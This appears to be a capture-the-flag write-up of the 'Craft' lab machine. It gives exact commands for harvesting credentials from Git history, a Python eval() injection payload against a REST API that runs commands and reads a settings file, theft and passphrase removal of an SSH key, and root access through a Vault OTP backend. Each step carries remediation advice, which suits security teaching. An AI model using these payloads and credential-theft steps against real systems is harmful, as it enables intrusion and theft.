Craft
Summary
The Conquest Craft server ($TARGET) was fully compromised to root through a four-link credential and code-execution chain. A developer committed plaintext application credentials into a public Git repository and later deleted the file, but Git retained them in history.
Those credentials authenticated against a REST API whose brew-creation endpoint passed user-supplied input directly to Python eval(), granting arbitrary code execution inside the application container. I used that execution to read application configuration files and recover a second developer's password, then logged into that developer's private Git repository to steal an SSH private key whose passphrase was the same reused password — immediately cracked.
The key provided an interactive shell on the host as user gilfoyle. From that shell, a HashiCorp Vault SSH one-time-password backend — configured without access controls — issued a root-level login credential on demand, completing escalation to full root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"Some commands also carry a value in angle brackets — <returned_id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full port scan with service version detection.
$ nmap -Pn -sV --min-rate 5000 -p- $TARGETExtract all .htb virtual-host references from the homepage HTML.
$ curl -sk https://$TARGET/ | grep -Eio '[a-z0-9.-]+\.htb' | sort -uRegister all discovered vhosts for local DNS resolution.
$ echo "$TARGET craft.htb api.craft.htb gogs.craft.htb vault.craft.htb" | sudo tee -a /etc/hostsExact commands 4
Clone the public repository without any authentication.
$ git clone https://gogs.craft.htb/Craft/craft-api.git && cd craft-apiList the complete commit history across all branches, including commits that deleted files.
$ git log --oneline --allInspect the credential-containing commit; look for hardcoded username and password strings.
$ git show $(git log --all --oneline | grep -i 'test' | awk '{print $1}' | head -1)Verify the recovered credentials return a valid JWT token from the live API.
$ curl -ksS -u "dinesh:$PASSWORD2" https://api.craft.htb/api/auth/loginFixPurge credentials from version-control history and enforce pre-commit secret scanningCritical
Exact commands 3
Obtain a JWT bearer token using the recovered credentials.
$ TOKEN=$(curl -ksS -u "dinesh:$PASSWORD2" https://api.craft.htb/api/auth/login | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')Inject the eval payload; the id command output is stored hex-encoded in a newly created brew row. Note the returned 'id' field.
$ curl -ksS -X POST https://api.craft.htb/api/brew/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"abv":"[create_brew({\"name\":(__import__(\"os\").popen(\"id\").read()).encode(\"hex\"),\"brewer\":\"x\",\"style\":\"x\",\"abv\":\"0.05\"}),0.05][1]","name":"x","brewer":"x","style":"x"}'Retrieve the brew row and hex-decode the name field to read command output. Replace <returned_id> with the id from the POST response.
$ curl -ksS https://api.craft.htb/api/brew/<returned_id> | python3 -c "import sys,json,codecs; d=json.load(sys.stdin); print(codecs.decode(d['name'],'hex_codec').decode())"FixReplace eval() with a safe numeric parser to eliminate server-side code injectionCritical
Exact commands 2
Exfiltrate settings.py in-band; increase the slice limit or paginate across multiple requests for larger files.
$ curl -ksS -X POST https://api.craft.htb/api/brew/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"abv":"[create_brew({\"name\":(__import__(\"os\").popen(\"cat /opt/app/craft_api/settings.py\").read()[:2000]).encode(\"hex\"),\"brewer\":\"x\",\"style\":\"x\",\"abv\":\"0.05\"}),0.05][1]","name":"x","brewer":"x","style":"x"}'Decode the response to read the settings file contents including plaintext database and user credentials.
$ curl -ksS https://api.craft.htb/api/brew/<returned_id> | python3 -c "import sys,json,codecs; d=json.load(sys.stdin); print(codecs.decode(d['name'],'hex_codec').decode())"Exact commands 3
Clone the private repository using gilfoyle's recovered Gogs credentials.
$ git clone https://$USERNAME:$PASSWORD4@gogs.craft.htb/gilfoyle/craft-infra.gitConfirm the SSH private key is committed inside the repository.
$ ls craft-infra/.ssh/Verify the passphrase by printing the derived public key; succeeds immediately with the reused Gogs password.
$ ssh-keygen -y -P "$PASSWORD4" -f craft-infra/.ssh/id_rsaFixRemove SSH private keys and infrastructure secrets from all Git repositoriesHigh
Exact commands 3
Copy the key and enforce strict permissions required by the SSH client.
$ cp craft-infra/.ssh/id_rsa /tmp/gilfoyle_nopass && chmod 600 /tmp/gilfoyle_nopassRemove the passphrase in-place, producing an unprotected key ready for direct use.
$ ssh-keygen -p -P "$PASSWORD4" -N '' -f /tmp/gilfoyle_nopassAuthenticate to the host as gilfoyle and read the user flag. Flag value is <user.txt>.
$ ssh -i /tmp/gilfoyle_nopass -o StrictHostKeyChecking=no gilfoyle@$TARGET 'id; hostname; cat /home/gilfoyle/user.txt'
uid=1001(gilfoyle)FixEnforce unique passphrases for SSH keys that are distinct from any account passwordHigh
Exact commands 2
Request a one-time root SSH password from the Vault OTP backend; note the 'key' value in the output.
$ ssh -i /tmp/gilfoyle_nopass gilfoyle@$TARGET "VAULT_ADDR=https://vault.craft.htb:8200 vault write ssh/creds/root_otp ip=$TARGET"Authenticate as root using the Vault-issued OTP. Replace <OTP> with the key returned above. Flag value is <root.txt>.
$ sshpass -p "$PASSWORD5" ssh -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'FixRestrict the Vault SSH OTP role to authorized administrators and enable audit loggingCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) |
| 443/tcp | ssl/http nginx 1.15.8 |
| 6022/tcp | x11 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.